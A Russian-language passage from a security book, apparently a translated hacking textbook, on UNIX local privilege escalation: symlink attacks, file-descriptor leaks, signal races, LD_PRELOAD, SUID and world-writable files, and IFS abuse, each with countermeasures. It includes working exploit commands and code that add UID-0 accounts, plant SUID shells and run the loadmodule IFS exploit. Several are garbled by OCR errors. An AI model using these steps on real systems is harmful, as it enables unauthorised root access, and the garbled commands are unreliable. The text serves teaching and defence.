Лучшим методом зашиты от локального переполнения буфера является учет требований безопасности в процессе программирования, а также включение режима, запрещающего выполнение кода, находящегося в стеке. Достаточно выполнить хотя бы последнее требование, чтобы значительно усложнить работу злоумышленника, который попытается написать программу, использующую только что рассмотренный изъян. Полный перечень контрмер приведен в разделе "Взлом Путем Переполнения Буфера" данной главы. Здесь мы лишь добавим, что очень хорошей практикой является установка бита SUID только для тех программ, которым действительно необходим доступ на уровне суперпользователя.

Символьные ссылки

Устаревшие, рабочие и временные файлы в той или иной степени "захламляют" большинство систем. К счастью, в UNIX большинство временных файлов создается в одном каталоге /tmp. Однако, хотя, с одной стороны, это и удобно, с другой — несет в себе определенную опасность. Многие программы, работающие в контексте SUID суперпользователя, создают рабочие файлы в каталоге /tmp или других подобных каталогах даже без намека на какую-либо проверку соблюдения правил безопасности. Основная проблема связана с использованием некоторыми программами при доступе к файлам символьных ссылок без проверки того, является ли тот или иной файл ссылкой или же реальным файлом. Символьная ссшка (symbolic link) — это файл специального вида, созданный с помощью команды In. По сути, такой файл представляет собой не что иное, как ссылку на другой файл. Давайте, например, создадим символьную ссылку /tmp/fоо на файл /etc/passwd.
[quake]$ In -s /tmp/foo /eto/passwd
Теперь, применив команду cat к файлу /tmp/foo, мы получим содержимое не этого файла, а файла паролей! Таким образом, кажущееся на первый взгляд удобным, это средство представляет весьма реальную угрозу для безопасности. Хотя подобным образом обычно осуществляется доступ к рабочим файлам, помещенным в каталог /tmp, некоторые приложения создают подобные файлы и в любых других каталогах файловой системы. Давайте рассмотрим пример из реальной жизни и разберемся, как этот метод применяется на практике.
В этом примере мы будем изучать утилиту взлома dtappgather из операционной системы Solaris. Данная утилита поставляется в составе стандартного рабочего стола. При каждом выполнении dtappgather создает временный файл с именем /var/dt/appconfig/appmanager/generic-display-0 и устанавливает к нему права доступа 0666. Кроме того, она изменяет атрибут принадлежности файла в соответствии с UID пользователя, который запустил эту утилиту на выполнение. К сожалению, утилита dtappgather не применяет никаких процедур проверки для того, чтобы удостовериться, не подменен ли созданный ею временный файл символьной ссылкой. Таким образом, если взломщик создаст символьную ссылку /var/dt/appconfig/appmanager/generic-display-0, указывающую на другой файл (например, на /etc/passwd), права доступа к последнему изменятся на 0666, а его владельцем станет взломщик. Перед запуском программы давайте убедимся, в том что владельцем файла /etc/passwd является суперпользователь root, а права установлены на уровне группы sys.

[quake]$ 1s -1 /etc/passwd
-r-xr-xr-x 1 root sys 560 May 5 22:36 /etc/passwd

Теперь создадим символьную ссылку /var/dt/appconfig/appmanager/generic-display-0, указывающую на файл /etc/passwd.

[quake]$ In -s /etc/passwd /var/dt/appconfig/
appmanager/generic-display-0

Наконец, запустим утилиту dtappgather, а затем проверим права доступа к файлу /etc/passwd.

[quake]$ /usr/dt/bin/dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File
exists
[quake]$ Is -1 /etc/passwd
-r-xr-xr-x 1 gk staff 560 May 5 22:36 /etc/passwd

Итак, утилита dtappgather "бездумно" воспользовалась созданной нами символьной ссылкой и изменила владельца и права доступа к файлу /etc/passwd. Теперь то же самое нужно проделать для файла /etc/shadow. После того как изменены владельцы файлов /etc/shadow и /etc/passwd, можно модифицировать эти файлы и добавить в них учетную запись с UID 0 (эквивалент суперпользователя). И на все это уйдет не больше минуты!

Контрмеры: защита от взлома с использованием символьных ссылок

В данном случае самой лучшей защитой является программирование с учетом требований безопасности. К сожалению, алгоритмы многих программ не предусматривают проведение профилактической проверки уже созданных файлов. Прежде чем создавать файл, программист должен проверить его существование, воспользовавшись флагами O_EXCL | O_CREAT. При создании временных файлов задайте маску с помощью команды umask, а затем воспользуйтесь функциями tmpfileO или mktemp (). Если вам действительно интересно знать, какими программами создаются временные файлы, воспользуйтесь следующей командой в каталоге /bin или /usr/sbin/.
[quake]$ strings * |grep tmp
Если программа выполняется в контексте SUID, то она представляет собой потенциальную угрозу, поскольку может использоваться взломщиком для получения несанкционированного доступа путем создания символьной ссылки. Как уже неоднократно рекомендовалось, сбросьте бит SUID у максимально возможного количества файлов, чтобы свести риск к минимуму. Наконец, можно воспользоваться инструментальным средством, например, таким как LOpht Watch, которое наблюдает за каталогом /tmp и информирует о создании в нем временных файлов. Утилиту LOpht Watch можно найти по адресу http://www.L0pht.com/advisories/10pht-watch. tar .gz.

Взлом с помощью дескриптора файла

Дескрипторы файлов (file descriptor) — это неотрицательные целые числа, которые используются системой для управления файлами. Дескрипторы позволяют облегчить работу операционной системы, устраняя необходимость манипуляции именами файлов. В соответствии с принятыми соглашениями, дескрипторы 0, 1 и 2 определяют стандартный входной поток, стандартный выходной поток и стандартный поток ошибок соответственно. Таким образом, когда функции ядра открывают существующий файл или создают новый, они возвращают определенный дескриптор, который может использоваться программой для выполнения над этим файлом операций чтения/записи. Если дескриптор соответствует файлу, который был открыт для чтения и записи (O_RDWR) привилегированным процессом, то во время модификации этого файла взломщик может получить к нему доступ и произвести в него запись. Таким образом, с помощью этого метода можно модифицировать один из важных системных файлов и получить доступ на уровне суперпользователя.
Достаточно неожиданно, что даже такая надежная система, как OpenBSD версии 2.3, была подвержена взлому с помощью дескриптора файла. Оливер Фридрихе (Oliver Friedrichs) установил, что команда chpass, применяемая для модификации некоторой информации, хранящейся в файле паролей, некорректно обрабатывала дескрипторы файлов. При запуске chpass создавался временный файл, который мог модифицировать любой пользователь с помощью какого-нибудь текстового редактора. Любые изменения снова заносились в базу данных паролей, как только пользователь закрывал редактор. К сожалению, если взломщик выполнял временный выход в командную оболочку, то порождался дочерний процесс, имеющий права доступа на чтение/запись дескрипторов файлов родительского процесса. Взломщику оставалось лишь модифицировать временный файл (/tmp/ptmp), созданный командой chpass, добавив в него учетную запись с UID 0 без пароля. Как только он, вернувшись в редактор, закрывал его, все изменения немедленно заносились в файл /etc/master.passwd. После этого для получения доступа в качестве суперпользователя взломщику оставалось лишь воспользоваться только что созданной учетной записью. Давайте посмотрим, как это можно выполнить на практике.
Сначала изменим используемый по умолчанию редактор на vi, поскольку во время работы он позволяет получить доступ к командной строке. [dinky]$ export EDITOR=vi
Затем запускаем программу chpass. [dinky]$ /usr/bin/chpass
Это, в свою очередь, приведет к запуску vi с открытием информации из базы данных текущего пользователя.

#Chanqing user database information for gk.
Shell: /bin/sh
Full Name: grk
Location:
Office Phone:
Home Phone: blah

Теперь на время выйдем из редактора vi в командную оболочку, воспользовавшись для этого командой ! sh.
Теперь только что запущенная командная оболочка имеет унаследованный доступ к дескриптору открытого файла. Воспользуемся описанным подходом и добавим в файл паролей учетную запись с UID 0.

[dinky]$ nohup ./chpass &
[1] 24619
$ sending output to nohup.out
[1] + Done nohup ./chpass
[dinky]$ exit
Press any key to continue
[: to enter more ex commands]:
/etc/pw.F26119: 6 lines, 117 characters.
[dinky]$ su owned
[dinky]# id
uid=0(owned) gid=0(wheel) groups=0(wheel)

Как только мы воспользовались командой su и учетной записью owned, мы получили доступ на уровне суперпользователя. Весь описанный процесс можно воплотить всего лишь в нескольких строках кода.

int
main () {
FILE *f;
int count; f = fdopen (FDTOUSE, "a");
for (count = 0; count != 30000; count++)
fprintf (f, "owned::0:0::0:0:OWNED,,,:/tmp:/bin/bash\n");
exit (0) ; }

Этот код предоставлен Марком Зелинским (Mark Zielinski).

Контрмеры: защита от взлома с помощью дескриптора файла

Разработчики программ, предназначенных для работы в контексте SUID, должны следить за корректностью распределения дескрипторов файлов. В частности, при системном вызове execveO необходимо устанавливать флаг close-on-exec. Как уже упоминалось выше, необходимо также сбросить бит SUID у всех программ, для которых его устанавливать необязательно.

Гонки на выживание

В реальной жизни хищник нападает на жертву, когда она наименее защищена. В ки-берпространстве эта аксиома также имеет место. Компьютерные взломщики, как правило, стремятся воспользоваться недостатками в системе защиты программы или процесса при выполнении ими какой-нибудь привилегированной операции. Обычно при этом время взлома-планируется таким образом, чтобы повредить программу или процесс после того, как они перейдут в привилегированный режим, но до завершения использования привилегированных прав. В большинстве случаев этот временной интервал достаточно ограничен, поэтому взломщикам нужно очень хорошо рассчитать момент нападения, чтобы успеть вовремя скрыться со своей добычей. Недостаток системы защиты, позволяющий злоумышленнику установить факт наличия такого временного интервала, называется состоянием гонки на выживание (race condition). Если взломщику удается вмешаться в нор-мальную работу в то время, когда процесс или программа находится в привилегированном состоянии, то говорят о том, что он "выигрывает гонку" (winning the race). Состояние гонки на выживание может быть различных типов. Мы ограничимся описанием тех из них, которые связаны с обработкой сигналов.

Проблемы обработки сигналов

В системе UNIX сигналы (signal) обеспечивают механизм, используемый для извещения процесса о том, что возникло какое-то определенное условие. Кроме того, с помощью сигналов обрабатываются асинхронные события. Например, когда пользователь хочет приостановить работу выполняющейся программы, он нажимает комбинацию клавиш <Ctrl-t-Z>. При этом всем активным процессам (foreground) рассылается сигнал SIGTSTP. Таким образом, с помощью сигналов изменяется ход выполнения программы. Как и раньше, выражение "изменяется ход выполнения программы" должно вызвать у вас мгновенную реакцию, так как такие действия обычно таят в себе угрозу для безопасности. Действительно, возможность влиять на ход выполнения работающей программы — одна из самых важных проблем в обеспечении безопасности обработки сигналов. Если бы дело ограничивалось лишь сигналом SIGTSTP, это было бы не столь критично, однако в действительности для подобных целей может использоваться свыше 30 сигналов, что, как вы понимаете, представляет собой сложную проблему.
Примером взлома защиты с использованием обработки сигналов может послч'жить обнаруженный в конце 1996 года изъян в системе обработки сигналов программы wu-f tpd v2.4. Этот изъян позволял как обычным, так и анонимным пользователям получать доступ к файлам в качестве суперпользователя. Это оказалось возможным из-за ошибки в сервере FTP, связанной с обработкой сигналов. При запуске FTP-сервер устанавливал два обработчика сигналов. Первый из них использовался для обработки сигналов SIGPIPE при закрытии управляющего порта или порта данных, а второй — для обработки сигналов SIGURG, поступающих при обнаружении команды ABOR, предназначенной для аварийного прекращения передачи. Обычно, когда пользователь регистрируется на сервере FTP, сервер запускается в контексте действующего UID пользователя, а не на уровне суперпользователя. Однако если соединение, по которому передаются данные, неожиданно закрывается, FTP-серверу отправляется сигнал SIGPIPE, после чего FTP-сервер вызывает функцию dologouto и повышает свой уровень привилегий до уровня суперпользователя (UID 0)! Сервер добавляет в файл системного журнала запись об отключении пользователя, закрывает файл журнала xferlog, удаляет пользовательский экземпляр сервера из таблицы процессов и завершает свою работу. Именно в этот момент сервер и изменяет свой действующий UID на 0, что повышает уязвимость системы в случае взлома. Взломщик может отправить FTP-серверу сигнал SIGURG, пока его действующий UID равен 0, прервать сервер, когда он пытается отключить пользователя, а потом заставить его снова вернуться обратно в режим обработки поступающих команд. Таким образом, здесь можно говорить о возникновении гонки на выживание, поскольку взломщику необходимо успеть выдать сигнал SIGURG после того, как сервер изменит свой UID на 0, но до отключения пользователя. Если взломщику это удастся (пусть и не с первой попытки), он останется подключенным к FTP-серверу, но уже с полномочиями суперпользователя! Это позволит ему получить или отправить любой файл, а также выполнять команды с привилегиями root.

Контрмеры: защита от взлома с помощью сигналов

Когда речь идет о файлах SUID, корректная обработка сигналов должна быть обязательным требованием. Если программа перехватывает и обрабатывает сигналы надлежащим образом, конечный пользователь не сможет сделать ничего такого, что нарушило бы безопасность. Конечно, об этом должны позаботится программисты, а администратор прежде всего должен убедиться в том, что бит SUID установлен только для тех файлов, которым это действительно необходимо. Об этом уже неоднократно говорилось. Кроме того, нужно удостовериться в том, что установлены все модули обновления, предоставленные разработчиком операционной системы.

Манипуляции с файлами дампов

Возможность получения дампа (core file) при выполнении программы может привести гораздо к более серьезным последствиям, чем кажется на первый взгляд. Во время работы системы UNIX в памяти может находиться много важной информации, включая, например, хэш-коды паролей, считанные из скрытого файла паролей. Одним из примеров манипуляций с файлами дампов является изъян, имевший место в старых версиях FTPD. Сервер FTPD позволял взломщикам записать дамп оперативной памяти в общедоступный файл, размещаемый в корневом каталоге. Для этого перед подключением к серверу нужно было лишь передать команду PASV. Помимо прочего в файле дампа содержалась часть скрытого файла паролей и в большинстве случаев хэш-коды пользовательских паролей. Если взломщику удавалось найти эти коды в файле дампа, он получал возможность взломать привилегированную учетную запись и получить доступ к системе на уровне суперпользователя.

Контрмеры: защита от взлома с помощью файлов дампов

Файлы дампов — это неизбежное зло. Несмотря на то что они могут предоставить взломщику конфиденциальную информацию, они также обеспечивают получение не менее важной информации и системному администратору в тех случаях, когда выполнение программы завершается аварийно. Если того требуют ваши правила обеспечения безопасности, можно ограничить генерацию файлов дампов с помощью команды ulimit и даже полностью отключить ее, установив ulimit равным 0 в системном профиле. Более подробную информацию по команде ulimit вы найдете в интерактивной справочной системе.

[tsunami]$ ulimit -a
core file size (blocks) unlimited
[tsunami]? ulimit -с 0
[tsunami]$ ulimit -a
core file size (blocks)0

Совместно используемые библиотеки

Совместно используемые библиотеки (shared library) позволяют исполняемым файлам обращаться к функциям общего назначения во время выполнения. Соответствующий программный код заранее компилируется, а затем помещается в ту или иную совместно используемую библиотеку. При запуске программы, которой нужна какая-то функция, находящаяся в такой библиотеке, программа обращается к этой библиотеке, загружает в память нужный код и выполняет его. Главным преимуществом таких библиотек является экономия дискового пространства и оперативной памяти, а также упрощение сопровождения программ, так как обновление библиотеки автоматически влечет за собой обновление функциональности всех работающих с ней программ. Конечно, за повышенное удобство приходится расплачиваться ослаблением безопасности. Если взломщику удастся модифицировать совместно используемую библиотеку или с помощью переменных окружения ему удастся переключить программы на применение своей собственной библиотеки, это может привести к получению им доступа на уровне суперпользователя.
В качестве примера можно привести изъян программы in.telnetd, описанный в статье СА-95.14 координационного центра CERT. Этот изъян, конечно, был обнаружен довольно давно, но он как нельзя лучше подходит для иллюстрации рассултри-ваемой проблемы. Суть изъяна заключается в том, что некоторые версии in. telr.e.i позволяют передавать удаленной системе переменные окружения, когда пользователь пытается установить соединение (RFC 1408 и 1572). Таким образом, взломщик может модифицировать свою переменную LD_PRELOAD, подключившись к системе с помощью telnet, и получить доступ в качестве суперпользователя.
Для того чтобы извлечь пользу из данного изъяна, взломщику необходимо каким-либо способом поместить модифицированную совместно используемую библиотеку на взламываемую систему. Затем он может модифицировать переменную LD_PRELOAD таким образом, чтобы она указывала на модифицированную библиотеку при подключении. Когда сервер in. telnetd запускает программу /bin/login для аутентификации пользователя, динамический компоновщик системы загрузит модифицированную библиотеку, а не стандартную. Это позволит взломщику выполнить код с привилегиями суперпользователя.

Контрмеры: защита совместно используемых библиотек

При зафузке модулей с установленным флагом SU1D суперпользователя динамические компоновщики должны игнорировать значения переменной окружения LD_PRELOAD. Пуристы могут возразить, что совместно используемые библиотеки должны быть хорошо написаны и нет никакой опасности в том, что они указаны в переменной LD_PRELOAD. В действительности же в этих библиотеках могут оказаться ошибки, снижающие безопасность системы при выполнении кода, хранящегося в библиотеке, в контексте SUID. Более того, защищать совместно используемые библиотеки (например, /usr/lib или lie) нужно также тщательно, как и самые важные файлы. Если взломщик сможет получить доступ к /usr/lib или /lib, система станет абсолютно беззащитной.

Изъяны ядра

Не секрет, что UNIX является очень сложной и надежной операционной системой. Из-за сложности в UNIX и других мощных операционных системах неизбежно имеются определенные программные ошибки. В UNIX наиболее опасный недостаток связан с самим ядром. Ядро представляет собой внутренний компонент операционной системы, в котором реализована общая модель ее подсистемы защиты. Эта модель обеспечивает обработку разрешений на использование файлов и каталогов, расширение и отключение привилегий файлов SUID, обработку сигналов и т.д. Если слабое место появляется в самом ядре, то под угрозой оказывается безопасность всей операционной системы в целом.
В качестве примера можно привести изъян ядра, обнаруженный в июне 2000 года, который оказал влияние на миллионы систем. Он имеется в ядре большинства версий системы Linux 2.2.x, разработанных до этого момента. Этот изъян связан с реализацией требований стандарта POS1X в ранних версиях ядра Linux. Реализованные возможности были призваны обеспечить более высокую степень управляемости, чем предоставлялась привилегированными процессами. Если говорить кратко, то все новые возможности были разработаны для повышения безопасности всей системы в целом. К сожалению, из-за ошибок в программировании оказалось, что новые функции работают не так, как планировалось. Этот изъян позволяет ввести в заблуждение программы SUID (например, sendmail) и назначить для них более высокие привилегии, чем те, которые им действительно необходимы. Таким образом, злоумышленник, который имеет доступ к командной оболочке взламываемой системы, может расширить эти привилегии до уровня root.

Контрмеры: защита ядра

Описанный изъян имеет место во многих системах Linux. Поэтому соответствующий модуль обновления системному администратору нужно установить в первую очередь. К счастью, это очень просто осуществить. Для тех, кто использует ядро версии 2.2.x, достаточно просто обновить его до версии 2.2.16 или более высокой.

Неправильная настройка системы

В предыдущих разделах мы описали часто встречаемые изъяны, а также методы, с помощью которых злоумышленники могут воспользоваться этими недоработками и получить привилегированный доступ. Перечень таких изъянов и соответствующих методов достаточно велик, однако в распоряжении взломщиков имеется гораздо больше методов взлома, чем можно было бы предположить исходя из такого перечня. Это объясняется тем, что зачастую нарушение безопасности происходит не только и не столько из-за наличия технических дефектов в системе защиты, сколько из-за недостаточно тщательной настройки и неэффективных методов администрирования. Операционная система может быть сама по себе очень безопасной и надежной, но если системный администратор изменит права доступа к файлу /etc/passwd, открыв его для всеобщего доступа, все остальные меры по защите данных могут оказаться бесполезными. Именно этот человеческий фактор и недооценивается в большинстве случаев.

Права доступа к файлам и каталогам

Простота и мощь системы UNIX основывается на реализованном в ней механизме использования файлов. Независимо от того, являются ли они двоичными исполняемыми программами, текстовыми конфигурационными файлами или устройствами, все эти объекты представляют собой файлы с соответствующими правами доступа. Если система разрешений недостаточно хорошо реализована или намеренно изменена администратором, безопасность системы может быть значительно снижена. Ниже описаны два самых распространенных недостатка в процедурах администрирования, которые заключаются в установке для файлов флага SUID, а также в создании файлов, общедоступных для записи. Из-за ограничений на объем книги проблемы обеспечения безопасности устройств (/dev) подробно не рассматриваются, однако это вовсе не означает, что к ним можно применять менее строгие защитные меры. Злоумышленник, который может создавать устройства или получать права чтения/записи важнейших системных ресурсов, таких как /dev/kmem, практически гарантированно сможет получить доступ на уровне суперпользователя.

Файлы SUID

Установка для файлов бита SUID или SGID — смертельно опасна. Этим все сказано! Ни один другой файл системы UNIX не подвержен столь частым попыткам злоумышленников всех мастей получить несанкционированный доступ, как файл с SUID суперпользователя. Практически во всех описанных выше случаях взлома были задействованы те или иные процессы, выполняющиеся на уровне привилегий суперпользователя, — большинство из них уже имели установленный бит SUID. Переполнение буфера, гонки на выживание и взлом с использованием символьных ссылок никогда не принесут ожидаемого эффекта, если для программы не установлен флаг SUID. К сожалению, большинство разработчиков относятся к биту SUID так, как будто это вышедшая из моды вещь. Пользователи, не заботящиеся о безопасности, также заражаются таким образом мышления. Многие из них слишком ленивы для того, чтобы предпринимать какие бы то ни было дополнительные меры при выполнении работы и склонны полагать, что все программы должны выполняться с уровнем привилегий суперпользователя.
Для того чтобы воспользоваться столь печальным отношением к безопасности, взломщик, получивший доступ к системе на уровне пользователя, должен сначала попытаться идентифицировать файлы с установленными битами SU1D и (или) GUID. Для этого обычно используется утилита find, позволяющая получить список файлов, с помощью которых можно попытаться получить доступ на уровне суперпользователя. Давайте рассмотрим пример поиска таких файлов в относительно простой системе Linux (для наглядности полученные результаты были сокращены).

[tsunami]# find / -type f -perm -04000 -Is
-rwsr-xr-x i root root 30520 May 5 1998 /usr/bin/at
-rwsr-xr-x 1 root root 29928 Aug 21 1998 /usr/bin/chage
-rwsr-xr-x 1 root root 29240 Aug 21 1998 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 770132 Oct 11 1998 /usr/bin/dos
-r-sr-sr-x 1 root root 13876 Oct 2 1998 /usr/bin/lpq
-r-sr-sr-x 1 root root 15068 Oct 2 1998 /usr/bin/lpr
-r-sr-sr-x 1 root root 14732 Oct 2 1998 /usr/bin/lprm
-rwsr-xr-x 1 root root 42156 Oct 2 1998 /usr/bin/nwsfind
-r-sr-xr-x 1 root bin 15613 Apr 27 1998 /usr/bin/passwd
-rws--x--x 2 root root 464140 Sep 10 1998 /usr/bin/suidperl

Большинство из перечисленных в листинге программ (например, chage и passwd) для корректной работы требуют наличия привилегий SUID. Скорее всего, взломщики сосредоточат свои усилия на таких программах, особенно на тех из них, которые уже взламывались в прошлом или слишком сложны, а следовательно, вероятность того, что в них имеются недостатки и ошибки, достаточно высока. Хорошей отправной точкой является программа dos. Эта программа создает виртуальную машину и для выполнения некоторых операций требует прямого доступа к аппаратным средствам. Прежде всего взломщики обращают внимание на те программы, которые выполняют нетривиальные операции или не находятся под таким жестким контролем, как другие SUID-программы. Давайте проведем небольшое исследование и попробуем определить, насколько программа dos пригодна для взлома. Для этого обратимся к документации HOWTO. Наша цель в данном исследовании — определить, имеются ли в этой программы дефекты, проявляющиеся в тех случаях, когда она запускается в контексте SUID. Если ответ будет положительным, значит, она предстаатается хорошим кандидатом для взлома.
В документации HOWTO по программе dos сказано следующее. "Хотя dosemu отключает привилегии root везде, где это возможно, безопаснее не запускать ее от имени суперпользователя, особенно если вы планируете запускать под ее управлением программы DPMI. Большинство обычных программ DOS не требует запуска dosemu от имени суперпользователя, особенно если она запускается в среде X. Поэтому во всех случаях, когда это возможно, вы не должны позволять пользователям запускать копии dosemu в контексте SUID суперпользователя, а лишь в контексте обычного пользователя. Этот режим можно настроить на уровне пользователей, используя файл /etc/dosemu.users."
Таким образом, в документации однозначно говорится о том, что пользователям рекомендуется запускать копию программы без установленного флага SUID. На нашей тестовой системе такие ограничения не применялись, о чем мы узнали из файла /etc/dosemu.users. Данный пример некорректной настройки демонстрирует именно то, к чему стремится любой злоумышленник: в системе имеется файл, с помощью которого с высокой степенью вероятности можно получить доступ на уровне суперпользователя. Злоумышленник может воспользоваться программой dos с установленным битом SUID как для непосредственного взлома, так и для определения того, можно ли с ее помощью применить такие методы, как переполнение буфера, использование символьных ссылок и так далее для взлома других программ. Это можно назвать классическим примером того, как программа, обладающая ничем не оправданным уровнем привилегий SUID, подвергает значительному риску безопасность всей системы.

Контрмеры: защита от взлома с использэванием SUID-файлов

Лучшей мерой по защите от взлома, основанного на использовании SUID/SGID-файлов, является сброс флага SUID/SGID у как можно большего количества файлов. Исчерпывающий список файлов, которые не должны иметь такого бита, привести трудно в связи с большими различиями в версиях UNIX разных разработчиков. Поэтому любой перечень, который мы могли бы представить в данной книге, почти наверняка окажется неполным. Можем лишь посоветовать провести инвентаризацию всех SUID/SGID-файлов и проверить, действительно ли необходимо, чтобы тот или иной файл имел привилегии на уровне суперпользователя. Для этого вы можете использовать метод, который применяют взломщики, когда хотят найти SUID/SGID-файлы. С помощью следующей команды можно найти все SUID-файлы.
 find / -type f -perm -04000 -ls
Для поиска SGID-файлов можно воспользоваться следующей командой, 
find / -type f -perm -02000 -ls
Подготовив список файлов, обратитесь к интерактивной справочной системе (man), документации и справке HOWTO, чтобы выяснить, рекомендуется ли в этих источниках удалить бит SUID того или иного файла. Проделав такую работу, вы будете удивлены, узнав, как много файлов не нуждается в привилегиях SUID/SGID. Конечно, прежде чем приступить к написанию сценария, удаляющего бит SUID/SGID у всех найденных файлов, необходимо проверить на тестовой системе, как это повлияет на работоспособность программ. Помните, что в каждой системе все-таки имеется несколько программ, которым для выполнения их функций нужны привилегии суперпользователя.

Общедоступные для записи файлы

Еще одной типичной ошибкой в настройке является разрешение записи в важные файлы всем пользователям. Как и в случае файлов SUID, общедоступные для записи файлы создаются для удобства работы. Однако за это приходится расплачиваться понижением уровня защиты важной информации. Если администратор не замечает очевидных недостатков, то злоумышленники, как правило, находят их очень быстро. К файлам, которые часто открывают для всеобщего доступа, относятся системные файлы инициализации, важные системные конфигурационные файлы и пользовательские файлы запуска. Давайте рассмотрим некоторые примеры того, как взломщик может воспользоваться общедоступными для записи файлами, find / -perm -2 -type f -print
Данный синтаксис команды find позволяет найти общедоступные для записи файлы.

/etc/rc.d/rc3.d/S991ocal
/var/tmp
/var/tmp/.Xll-unix
/var/tmp/.Xll-unix/XO
/var/tmp/.font-unix
/var/lib/games/xgaIscores
/var/lib/news/innd/ctlinnda28392
/var/lib/news/innd/ctlinndal8685
/var/spool/fax/outgoing
/var/spool/fax/outgoing/locks
/home/public

Итак, даже беглого взгляда на полученные результаты достаточно, чтобы сделать вывод о наличии серьезных проблем. В частности, файл /etc/re.d/rc3.d/S991ocal является общедоступным для записи сценарием. Данная ситуация чрезвычайно опасна, поскольку при запуске системы этот сценарий выполняется с привилегиями суперполъзователя. Например, взломщик может создать экземпляр командной оболочки, работающей в контексте SU1D, которая будет запущена при следующем запуске системы. Для этого ему достаточно добавить в файл сценария следующую команду.

[tsunami]$ echo "/bin/cp /bin/sh /trap/.sh ;
/bin/chmod 4755 /tmp/.sh"
\
/etc/re.d/rc3.d/S991ocal

При следующей перезагрузке системы в каталоге /tmp будет создан SUID-экземпляр командной оболочки. Второй возможный метод взлома заключается в использовании каталога /home/public. Поскольку он открыт для записи, с помощью команды mv взломщик может перезаписать любой файл из этого каталога. Это оказывается возможным, поскольку права доступа к каталогу перекрывают права доступа к отдельным файлам этого каталога. Скорее всего, типичный взломщик перепишет файлы запуска пользовательских экземпляров командной оболочки (например. . login или .bashrc), в которых будет создан файл SUID. После того как кто-нибудь использует учетную запись public для регистрации в системе, командная оболочка с правами суперпользователя будет ожидать взломщика.

Контрмеры: защита общедоступных для записи файлов

Регулярный поиск всех общедоступных для записи файлов является хорошей практикой системного администратора. Измените права записи для всех найденных каталогов и файлов, которые не должны быть общедоступными. Конечно, решение о том, нужно ли тот или иной файл или каталог делать общедоступным, иногда принять довольно сложно, поэтому мы рекомендуем исходить хотя бы из здравого смысла. Если этот файл используется при инициализации, конфигурации или запуске системы, то, скорее всего, он не должен быть общедоступным. Однако помните, что файлы драйверов некоторых устройств, находящиеся в папке /dev, должны быть общедоступными. Поэтому применяйте взвешенный подход к вносимым изменениям и тщательно тестируйте работоспособность системы после каждого существенного изменения.
Обсуждение дополнительных атрибутов файлов выходит за рамки данной книги, но все же эта возможность заслуживает того, чтобы упомянуть о ней хотя бы в двух словах. Безопасность многих систем можно существенно повысить, установив для определенных ключевых файлов флаги read-only, append и immutable. В Linux и многих вариантах BSD имеются дополнительные флаги, которые, к сожалению, очень редко используются (в Linux для работы с ними предназначена команда chattr). Применяя эти дополнительные атрибуты совместно со средствами защиты на уровне ядра (в тех системах, в которых они поддерживаются), можно существенно повысить уровень безопасности системы.

Взлом командной оболочки

Командная оболочка UNIX представляет собой очень мощную программу, которая обеспечивает удобную работу пользователей. Одной из главных отличительных особенностей окружения командной оболочки UNIX является возможность программировать команды, а также устанавливать определенные параметры, влияющие на работу самой командной оболочки. Конечно же, как часто бывает в подобных ситуациях, богатые возможности имеют и обратную сторону, проявляющуюся в наличии многочисленных слабых мест с точки зрения обеспечения безопасности. Одним из самых популярных методов взлома является использование переменной IFS (Internal Field Separator).

Взлом IFS

Переменная IFS предназначена для отделения друг от друга слов, используемых в окружении командной оболочки. Обычно значением переменной IFS является символ пробела, который служит для разделения команд по умолчанию. Манипулируя переменной IFS, взломщик может запустить с помощью какой-нибудь SUID-программы "троянского коня" и получить, таким образом, привилегии суперпользователя. Обычно в этих целях используется сценарий командной оболочки с установленным флагом SUID, однако в рассматриваемом примере мы воспользуемся программой loadmodule.
Программа взлома loadmodule широко известна. Она была создана несколько лет назад и основана на использовании изъяна SunOS 4.1.x, связанного с переменной IFS. 

#!/bin/csh
cd /trap
mkdir bin cd bin cat > bin « EOF<R #!/bin/sh
sh -I
EOF
chmod 755 /tmp/bin/bin
setenv IFS /
/usr/openwin/bin/loadmodule
/sys/sun4c/OBJ/evqmod-sun4c.о
/etc/openwin/modules/evqload

Данный сценарий взлома делает текущим каталог /tmp и создает в нем дочерний каталог /bin. Как это зачастую бывает, создается копия /bin/sh, которая вскоре будет запущена. Затем для переменной IFS в сценарии устанавливается значение / вместо символа пробела. Поскольку в переменной 1FS содержится значение /, то SUID-программа loadmodule, ничего не подозревая, запускает на выполнение программу /tmp/bin/bin. В результате создается копия командной оболочки с привилегиями суперпользователя, которой взломщику остается лишь воспользоваться.

Контрмеры: защита переменной IFS

При взломе с использованием переменной IFS в большинстве случаев мишенью злоумышленников является системная функция system(). Вызов этой функции используется в оболочке sh для анализа командной строки перед ее выполнением Для того чтобы избежать возможных злоупотреблений, можно применить простую программу, которая автоматически устанавливает в качестве значения переменной IFS символ пробела. Ниже приведен пример такой программы, код которой предоставил Джереми Рауч (Jeremy Rauch). 

#define EXECPATH "/usr/bin/real/"
main(int argc, char **argv)
{ char pathname[1024]; if (strlen(EXECPATH)
+ strlen(argv[0]) + l> 1024)
exit(-1);
strcpy(pathname, EXECPATH);
street(pathname, argv[0]);
putenv("IFS= \n\t");
execv(pathname, argv, argc);
}

К счастью, большинство современных версий UNIX игнорирует значение переменной IFS, если командная оболочка работает с привилегиями суперпользователя, а ее эффективный UID отличается от реального UID. В качестве совета можно еше pas подчеркнуть, что не нужно создавать сценарии с привилегиями SUID, а количество SUID-файлов свести к минимуму.

Права root получены — что дальше?

Когда уровень адреналина, выброшенного при попытках получить доступ в качестве суперпользователя, возвращается к норме, у взломщика начинается реальная работа. Он будет открывать и просматривать все файлы в поисках интересующей его информации, устанавливать программы перехвата паролей регистрации, telnet, ftp, smtp и snmp, а затем начнет охоту за новой жертвой, используя ваш компьютер в качестве плацдарма. Однако все эти действия предсказуемы и, как правило, сводятся к размещению на взломанном компьютере "набора отмычек" (rootkit).

Отмычки

Поскольку взломанная система представляет собой ценность для злоумышленника прежде всего как плацдарм для проникновения в другие компьютеры, для него очень важно разместить на взломанной машине и как можно лучше спрятать свой "набор отмычек". Такой набор для системы UNIX обычно состоит их четырех групп инструментов, адаптированных под конкретную платформу и версию операционной системы: (1) программы типа "троянский конь", например такие, как измененные версии login, netstat и ps; (2) программы, предназначенные для создания "потайных ходов", например, вставки inetd; (3) программы перехвата потока данных в сети; (4) программы очистки системных журналов.

Программы типа "троянский конь"

